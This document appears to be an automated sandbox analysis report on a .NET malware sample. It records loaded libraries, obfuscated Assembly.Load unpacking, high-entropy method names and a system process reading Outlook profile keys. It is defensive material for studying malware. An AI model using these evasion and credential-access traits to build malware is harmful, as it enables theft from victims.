Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\chkntfs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: 8hd98EhtIFcYkb8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 8hd98EhtIFcYkb8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: XOyN.pdb source: EuOdzX7Ehz6t1H3[1].exe.14.dr, aj34fjqh.exe.14.dr
Source:	Binary string: chkntfs.pdbGCTL source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431730936.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000003.1370660862.000000000067B000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3701797109.0000000000668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357259966.000000000055E000.00000002.00000001.01000000.0000000D.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3691801922.000000000055E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431995842.0000000001270000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1431710177.0000000004448000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.000000000493E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1433783281.00000000045FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 8hd98EhtIFcYkb8.exe, 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431995842.0000000001270000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, chkntfs.exe, 0000000E.00000003.1431710177.0000000004448000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3706103810.000000000493E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1433783281.00000000045FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: chkntfs.pdb source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431730936.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000003.1370660862.000000000067B000.00000004.00000020.00020000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3701797109.0000000000668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XOyN.pdbSHA256 source: EuOdzX7Ehz6t1H3[1].exe.14.dr, aj34fjqh.exe.14.dr

Data Obfuscation

Source: 8hd98EhtIFcYkb8.exe, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, YO0H0ElFyecC1S4kEO.cs	.Net Code: gts9qQpZDK System.Reflection.Assembly.Load(byte[])
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, YO0H0ElFyecC1S4kEO.cs	.Net Code: gts9qQpZDK System.Reflection.Assembly.Load(byte[])
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, YO0H0ElFyecC1S4kEO.cs	.Net Code: gts9qQpZDK System.Reflection.Assembly.Load(byte[])
Source: 14.2.chkntfs.exe.4dccd08.2.raw.unpack, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 16.0.xQUrWfQeELsQZII.exe.341cd08.1.raw.unpack, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 16.2.xQUrWfQeELsQZII.exe.341cd08.1.raw.unpack, OptionsWindow.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])

Source: EuOdzX7Ehz6t1H3[1].exe.14.dr

Static PE information: 0x82EF2085 [Thu Aug 11 21:05:09 2039 UTC]

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_00DBBE50 push ebp; retn 5504h	0_2_00DBC03E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 0_2_00DBB43B push ss; ret	0_2_00DBB442
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00405059 pushad ; iretd	3_2_00405071
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0041688F pushad ; retf	3_2_004168B1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004231F3 push edx; ret	3_2_00423232
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00401A04 push ecx; ret	3_2_00401A0E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00416213 push esi; iretd	3_2_0041621E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040D2B8 push edx; iretd	3_2_0040D2BA
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00418B81 pushad ; iretd	3_2_00418BB3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00418B92 pushad ; iretd	3_2_00418BB3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00412435 push ds; iretd	3_2_00412439
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00414436 push edi; iretd	3_2_00414437
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00403570 push eax; ret	3_2_00403572
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0040CDC6 push es; retf	3_2_0040CDC7
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00418EFD push ecx; retf	3_2_00418F05
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_004086BC push ss; retf	3_2_004086CA
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0041A72F push esi; iretd	3_2_0041A737
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0041A733 push esi; iretd	3_2_0041A737
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_00408787 push 0000004Fh; ret	3_2_004087AC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0127225F pushad ; ret	3_2_012727F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012727FA pushad ; ret	3_2_012727F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A09AD push ecx; mov dword ptr [esp], ecx	3_2_012A09B6
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0127283D push eax; iretd	3_2_01272858
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01271368 push eax; iretd	3_2_01271369
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047A27FA pushad ; ret	14_2_047A27F9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047A225F pushad ; ret	14_2_047A27F9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047A283D push eax; iretd	14_2_047A2858
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047D09AD push ecx; mov dword ptr [esp], ecx	14_2_047D09B6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005A2CA0 push esi; iretd	14_2_005A2CAB
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005A0EC3 push edi; iretd	14_2_005A0EC4
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059EEC2 push ds; iretd	14_2_0059EEC6

Source: 8hd98EhtIFcYkb8.exe	Static PE information: section name: .text entropy: 7.968066969388496
Source: EuOdzX7Ehz6t1H3[1].exe.14.dr	Static PE information: section name: .text entropy: 7.917870067906471
Source: aj34fjqh.exe.14.dr	Static PE information: section name: .text entropy: 7.917870067906471

Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, oM1ONZzUFLWJVwrBmD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'l8a5iVG0jC', 'Ypp5w0hSYu', 'BfJ5ZarlSI', 'jT65MBSGug', 'Eif5Qn0LMQ', 'tFR55tvRPs', 'HJm5InX1p7'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, gdM9Sh7KfRnAMumxqn.cs	High entropy of concatenated method names: 'sSMi1pLI71', 'fYSiOc6fub', 'bd0iTtYT6p', 'QR9i3ebDuL', 'Yktivvyc33', 'S6xineHxCQ', 'S2gid0gK8u', 'ueRi6OR8JL', 'UsiiauttIE', 'cQOiWyZ5ja'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, jQDDruxhUW3L8ewCVZ.cs	High entropy of concatenated method names: 'CBkkLfk7tw', 'CyCktpOby8', 'XgukcSRKdS', 'XofkeYkS0c', 'XSHkwODgIL', 'cflkZRmMqC', 'rMFRdgnPl3OqN2ybVI', 'XpHZ4UCqUu7hhT8K1s', 'PfFkkm37iB', 'r2xkGy6cJ9'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, lhJ65bFXQHOYZTcgeP.cs	High entropy of concatenated method names: 'ToString', 'N79ZWomGbk', 'x8UZ3LjLr1', 'sKHZsw8i6x', 'jqlZvR6Msv', 'FwSZntQ39f', 'tBtZXHq3EQ', 'jQMZdZ1ucS', 'H16Z6YSCi4', 'lrLZYVwTBb'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, G2EwvXm0pgP65nBy4N.cs	High entropy of concatenated method names: 'hrWLF0ToJi', 'eLBLKhNW5T', 'nDaLDZ0jYV', 'QrIDbRCQAE', 'W4tDztq0w0', 'CugLpHKKZr', 'lPcLk4foqQ', 'wJmL8NgLLW', 'CYHLGKSguj', 'DWFL90Y2iW'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, YO0H0ElFyecC1S4kEO.cs	High entropy of concatenated method names: 'Tn3G2DPEcv', 'JM1GFPB0WN', 'BgLGrdi7VU', 'GtQGKjYih4', 'yGjGHsx1Tk', 'J8NGDOgbbn', 'loPGLFPtEl', 'ymVGtNjNV9', 'CxRGRp2fju', 'CcFGcmtRi5'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, XlB6SnfKxWLPwwKgeG.cs	High entropy of concatenated method names: 'gZXQFa7yeL', 'jSpQrn36nI', 'jDfQK2kW5w', 'oKFQHvfEbs', 'dcnQDpwYVc', 'wvNQLy9IV2', 'fvgQtIXGKq', 'EXlQR9qvaY', 'FgcQcmSIpT', 'YcoQep6nBA'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, OrWCX5jtbYmS0dA9kT.cs	High entropy of concatenated method names: 'AWID2ka3UW', 'CdNDrBnXZV', 'cv6DH62672', 'cBZDLS4u2p', 'P6nDta9rly', 'eSpHmE7ynF', 'FX1HVSiMuy', 'zlqHuSpxEV', 'eg5HP1Hmrc', 'jmRHNZT1PQ'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, EcZcId4bZdkXGBs06MG.cs	High entropy of concatenated method names: 'OfQ57NDcOA', 'l0q5AFM4CV', 'qp65qRtygR', 'FlS5fJRjRH', 'kMi5Bf5tTE', 'bgD5hLULFO', 'TE45y03pAw', 'N4Y51ElEMZ', 'tUD5OHdLA8', 'WiP5oD8b0X'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, TBtgc3RMhuEWiOKVR4.cs	High entropy of concatenated method names: 'egswajbaVY', 'cI1wEpsEqf', 'qcZwJFrFUR', 'l1YwgmGbGs', 'Sodw34CUk5', 'bFCwsxrnQO', 'WF6wvUn4m1', 'vabwnQGZZg', 'GqLwXY8ZpD', 'ceDwdohG9Y'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, CewcDn534jkjemavqx.cs	High entropy of concatenated method names: 'J0JMP8YQfq', 'HEgMbUQjhV', 'y1nQpUJpyp', 'A4PQkS1uVG', 'LdwMWd7ICC', 'wNYMESTP6d', 'RyBMCGC67l', 'cgPMJKvxVT', 'loHMgDshgT', 'yg6M0EBnwL'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, G48YiXYv5ISrKQh5V0.cs	High entropy of concatenated method names: 'jJN5kaPtFu', 'UBM5GPIoC4', 'ODC59X6gti', 'TlI5FITjRb', 'uiE5rTvv02', 'sd75Hw6GaC', 'nVt5DHWvHh', 'n7kQuQ23NT', 'Jy3QPB6Xd9', 'uZ2QNGCgXA'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, TFHvvsv69ePy2X2akQ.cs	High entropy of concatenated method names: 'iJXL7lTqJ9', 'maILAdWG0a', 'IiXLq8WqvM', 'YbBLf77yHd', 'tkYLBX3Fif', 'gy3LhPP8QE', 'zVcLyJ9Yju', 'ubCL1soCsj', 'XYKLOkX7S1', 'cV6LoYePct'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, UDhf94o4ucAkwsm0sp.cs	High entropy of concatenated method names: 'f9Rq1yG0W', 'DJbff0drL', 'jEPhaTbqd', 'HujyEE1R5', 'BPrOP1NtM', 'morovODBF', 'UU6sQ30jGZyjNwuV8k', 'nEQFSL3NunNHbZ1dat', 'xSYQDvHlW', 'poTIxWtte'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, A297vOAUIe0qEnXTYd.cs	High entropy of concatenated method names: 'a9RrJNeYXU', 'K1Srg9mrKb', 'sf2r0xMadb', 'IQGrxa8AMT', 'pYyrmi7rBU', 'YvSrVfti0n', 'TrZrusOxQa', 'IAIrP1kaHt', 'hftrNMcGHt', 'wr9rbncfjd'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, EN7XnI15c37fuU7Hp5.cs	High entropy of concatenated method names: 'Y1hKfIOBtc', 'HjfKhcGKVf', 'LmoK1u0bTe', 'rngKOZldVQ', 'gbkKwfKbBL', 'rTHKZPaN6C', 'YRqKMiTl2T', 'CySKQT76gS', 'GoZK5G6d6Y', 'KWoKIRYuml'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, qLqlDin0qbgjcnfC3W.cs	High entropy of concatenated method names: 'TfsQTjjKJy', 'jrbQ3fEcoN', 'pZcQsKNQ2P', 'zt7QvEfapE', 'S9KQJNCHAY', 'A9QQnE9cdG', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, xKGw5U4U0dqk7yQy8K9.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'YM7IJqfRhK', 'WQPIgbFdNh', 'wTRI0DQ9Jn', 'WgqIxEvbOn', 'D8PImwMxwd', 'BmGIVGAro0', 'FiBIueQYcf'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, Wn4fI4CGsHeONDg1CJ.cs	High entropy of concatenated method names: 'X4IMcGj8cE', 'lDVMeNSyeu', 'ToString', 'O3jMFF67iv', 'mI5MrppEig', 'mllMKytvtK', 'ktmMHB14FW', 'uwdMDWoxtY', 'YhsMLGn6OQ', 'pd7MtIZZld'
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, n0j6khafNtyqP9fmV3.cs	High entropy of concatenated method names: 'Dispose', 'CK8kNrAsoW', 'u2r832ZQLk', 'LjPjjd69Fv', 'FRpkbSRatW', 'zSxkzCKGgd', 'ProcessDialogKey', 'ge08pewQR9', 'd8G8ksYKn8', 'HMo880mafZ'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, oM1ONZzUFLWJVwrBmD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'l8a5iVG0jC', 'Ypp5w0hSYu', 'BfJ5ZarlSI', 'jT65MBSGug', 'Eif5Qn0LMQ', 'tFR55tvRPs', 'HJm5InX1p7'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, gdM9Sh7KfRnAMumxqn.cs	High entropy of concatenated method names: 'sSMi1pLI71', 'fYSiOc6fub', 'bd0iTtYT6p', 'QR9i3ebDuL', 'Yktivvyc33', 'S6xineHxCQ', 'S2gid0gK8u', 'ueRi6OR8JL', 'UsiiauttIE', 'cQOiWyZ5ja'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, jQDDruxhUW3L8ewCVZ.cs	High entropy of concatenated method names: 'CBkkLfk7tw', 'CyCktpOby8', 'XgukcSRKdS', 'XofkeYkS0c', 'XSHkwODgIL', 'cflkZRmMqC', 'rMFRdgnPl3OqN2ybVI', 'XpHZ4UCqUu7hhT8K1s', 'PfFkkm37iB', 'r2xkGy6cJ9'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, lhJ65bFXQHOYZTcgeP.cs	High entropy of concatenated method names: 'ToString', 'N79ZWomGbk', 'x8UZ3LjLr1', 'sKHZsw8i6x', 'jqlZvR6Msv', 'FwSZntQ39f', 'tBtZXHq3EQ', 'jQMZdZ1ucS', 'H16Z6YSCi4', 'lrLZYVwTBb'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, G2EwvXm0pgP65nBy4N.cs	High entropy of concatenated method names: 'hrWLF0ToJi', 'eLBLKhNW5T', 'nDaLDZ0jYV', 'QrIDbRCQAE', 'W4tDztq0w0', 'CugLpHKKZr', 'lPcLk4foqQ', 'wJmL8NgLLW', 'CYHLGKSguj', 'DWFL90Y2iW'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, YO0H0ElFyecC1S4kEO.cs	High entropy of concatenated method names: 'Tn3G2DPEcv', 'JM1GFPB0WN', 'BgLGrdi7VU', 'GtQGKjYih4', 'yGjGHsx1Tk', 'J8NGDOgbbn', 'loPGLFPtEl', 'ymVGtNjNV9', 'CxRGRp2fju', 'CcFGcmtRi5'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, XlB6SnfKxWLPwwKgeG.cs	High entropy of concatenated method names: 'gZXQFa7yeL', 'jSpQrn36nI', 'jDfQK2kW5w', 'oKFQHvfEbs', 'dcnQDpwYVc', 'wvNQLy9IV2', 'fvgQtIXGKq', 'EXlQR9qvaY', 'FgcQcmSIpT', 'YcoQep6nBA'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, OrWCX5jtbYmS0dA9kT.cs	High entropy of concatenated method names: 'AWID2ka3UW', 'CdNDrBnXZV', 'cv6DH62672', 'cBZDLS4u2p', 'P6nDta9rly', 'eSpHmE7ynF', 'FX1HVSiMuy', 'zlqHuSpxEV', 'eg5HP1Hmrc', 'jmRHNZT1PQ'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, EcZcId4bZdkXGBs06MG.cs	High entropy of concatenated method names: 'OfQ57NDcOA', 'l0q5AFM4CV', 'qp65qRtygR', 'FlS5fJRjRH', 'kMi5Bf5tTE', 'bgD5hLULFO', 'TE45y03pAw', 'N4Y51ElEMZ', 'tUD5OHdLA8', 'WiP5oD8b0X'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, TBtgc3RMhuEWiOKVR4.cs	High entropy of concatenated method names: 'egswajbaVY', 'cI1wEpsEqf', 'qcZwJFrFUR', 'l1YwgmGbGs', 'Sodw34CUk5', 'bFCwsxrnQO', 'WF6wvUn4m1', 'vabwnQGZZg', 'GqLwXY8ZpD', 'ceDwdohG9Y'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, CewcDn534jkjemavqx.cs	High entropy of concatenated method names: 'J0JMP8YQfq', 'HEgMbUQjhV', 'y1nQpUJpyp', 'A4PQkS1uVG', 'LdwMWd7ICC', 'wNYMESTP6d', 'RyBMCGC67l', 'cgPMJKvxVT', 'loHMgDshgT', 'yg6M0EBnwL'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, G48YiXYv5ISrKQh5V0.cs	High entropy of concatenated method names: 'jJN5kaPtFu', 'UBM5GPIoC4', 'ODC59X6gti', 'TlI5FITjRb', 'uiE5rTvv02', 'sd75Hw6GaC', 'nVt5DHWvHh', 'n7kQuQ23NT', 'Jy3QPB6Xd9', 'uZ2QNGCgXA'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, TFHvvsv69ePy2X2akQ.cs	High entropy of concatenated method names: 'iJXL7lTqJ9', 'maILAdWG0a', 'IiXLq8WqvM', 'YbBLf77yHd', 'tkYLBX3Fif', 'gy3LhPP8QE', 'zVcLyJ9Yju', 'ubCL1soCsj', 'XYKLOkX7S1', 'cV6LoYePct'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, UDhf94o4ucAkwsm0sp.cs	High entropy of concatenated method names: 'f9Rq1yG0W', 'DJbff0drL', 'jEPhaTbqd', 'HujyEE1R5', 'BPrOP1NtM', 'morovODBF', 'UU6sQ30jGZyjNwuV8k', 'nEQFSL3NunNHbZ1dat', 'xSYQDvHlW', 'poTIxWtte'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, A297vOAUIe0qEnXTYd.cs	High entropy of concatenated method names: 'a9RrJNeYXU', 'K1Srg9mrKb', 'sf2r0xMadb', 'IQGrxa8AMT', 'pYyrmi7rBU', 'YvSrVfti0n', 'TrZrusOxQa', 'IAIrP1kaHt', 'hftrNMcGHt', 'wr9rbncfjd'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, EN7XnI15c37fuU7Hp5.cs	High entropy of concatenated method names: 'Y1hKfIOBtc', 'HjfKhcGKVf', 'LmoK1u0bTe', 'rngKOZldVQ', 'gbkKwfKbBL', 'rTHKZPaN6C', 'YRqKMiTl2T', 'CySKQT76gS', 'GoZK5G6d6Y', 'KWoKIRYuml'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, qLqlDin0qbgjcnfC3W.cs	High entropy of concatenated method names: 'TfsQTjjKJy', 'jrbQ3fEcoN', 'pZcQsKNQ2P', 'zt7QvEfapE', 'S9KQJNCHAY', 'A9QQnE9cdG', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, xKGw5U4U0dqk7yQy8K9.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'YM7IJqfRhK', 'WQPIgbFdNh', 'wTRI0DQ9Jn', 'WgqIxEvbOn', 'D8PImwMxwd', 'BmGIVGAro0', 'FiBIueQYcf'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, Wn4fI4CGsHeONDg1CJ.cs	High entropy of concatenated method names: 'X4IMcGj8cE', 'lDVMeNSyeu', 'ToString', 'O3jMFF67iv', 'mI5MrppEig', 'mllMKytvtK', 'ktmMHB14FW', 'uwdMDWoxtY', 'YhsMLGn6OQ', 'pd7MtIZZld'
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, n0j6khafNtyqP9fmV3.cs	High entropy of concatenated method names: 'Dispose', 'CK8kNrAsoW', 'u2r832ZQLk', 'LjPjjd69Fv', 'FRpkbSRatW', 'zSxkzCKGgd', 'ProcessDialogKey', 'ge08pewQR9', 'd8G8ksYKn8', 'HMo880mafZ'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, oM1ONZzUFLWJVwrBmD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'l8a5iVG0jC', 'Ypp5w0hSYu', 'BfJ5ZarlSI', 'jT65MBSGug', 'Eif5Qn0LMQ', 'tFR55tvRPs', 'HJm5InX1p7'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, gdM9Sh7KfRnAMumxqn.cs	High entropy of concatenated method names: 'sSMi1pLI71', 'fYSiOc6fub', 'bd0iTtYT6p', 'QR9i3ebDuL', 'Yktivvyc33', 'S6xineHxCQ', 'S2gid0gK8u', 'ueRi6OR8JL', 'UsiiauttIE', 'cQOiWyZ5ja'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, jQDDruxhUW3L8ewCVZ.cs	High entropy of concatenated method names: 'CBkkLfk7tw', 'CyCktpOby8', 'XgukcSRKdS', 'XofkeYkS0c', 'XSHkwODgIL', 'cflkZRmMqC', 'rMFRdgnPl3OqN2ybVI', 'XpHZ4UCqUu7hhT8K1s', 'PfFkkm37iB', 'r2xkGy6cJ9'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, lhJ65bFXQHOYZTcgeP.cs	High entropy of concatenated method names: 'ToString', 'N79ZWomGbk', 'x8UZ3LjLr1', 'sKHZsw8i6x', 'jqlZvR6Msv', 'FwSZntQ39f', 'tBtZXHq3EQ', 'jQMZdZ1ucS', 'H16Z6YSCi4', 'lrLZYVwTBb'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, G2EwvXm0pgP65nBy4N.cs	High entropy of concatenated method names: 'hrWLF0ToJi', 'eLBLKhNW5T', 'nDaLDZ0jYV', 'QrIDbRCQAE', 'W4tDztq0w0', 'CugLpHKKZr', 'lPcLk4foqQ', 'wJmL8NgLLW', 'CYHLGKSguj', 'DWFL90Y2iW'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, YO0H0ElFyecC1S4kEO.cs	High entropy of concatenated method names: 'Tn3G2DPEcv', 'JM1GFPB0WN', 'BgLGrdi7VU', 'GtQGKjYih4', 'yGjGHsx1Tk', 'J8NGDOgbbn', 'loPGLFPtEl', 'ymVGtNjNV9', 'CxRGRp2fju', 'CcFGcmtRi5'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, XlB6SnfKxWLPwwKgeG.cs	High entropy of concatenated method names: 'gZXQFa7yeL', 'jSpQrn36nI', 'jDfQK2kW5w', 'oKFQHvfEbs', 'dcnQDpwYVc', 'wvNQLy9IV2', 'fvgQtIXGKq', 'EXlQR9qvaY', 'FgcQcmSIpT', 'YcoQep6nBA'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, OrWCX5jtbYmS0dA9kT.cs	High entropy of concatenated method names: 'AWID2ka3UW', 'CdNDrBnXZV', 'cv6DH62672', 'cBZDLS4u2p', 'P6nDta9rly', 'eSpHmE7ynF', 'FX1HVSiMuy', 'zlqHuSpxEV', 'eg5HP1Hmrc', 'jmRHNZT1PQ'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, EcZcId4bZdkXGBs06MG.cs	High entropy of concatenated method names: 'OfQ57NDcOA', 'l0q5AFM4CV', 'qp65qRtygR', 'FlS5fJRjRH', 'kMi5Bf5tTE', 'bgD5hLULFO', 'TE45y03pAw', 'N4Y51ElEMZ', 'tUD5OHdLA8', 'WiP5oD8b0X'
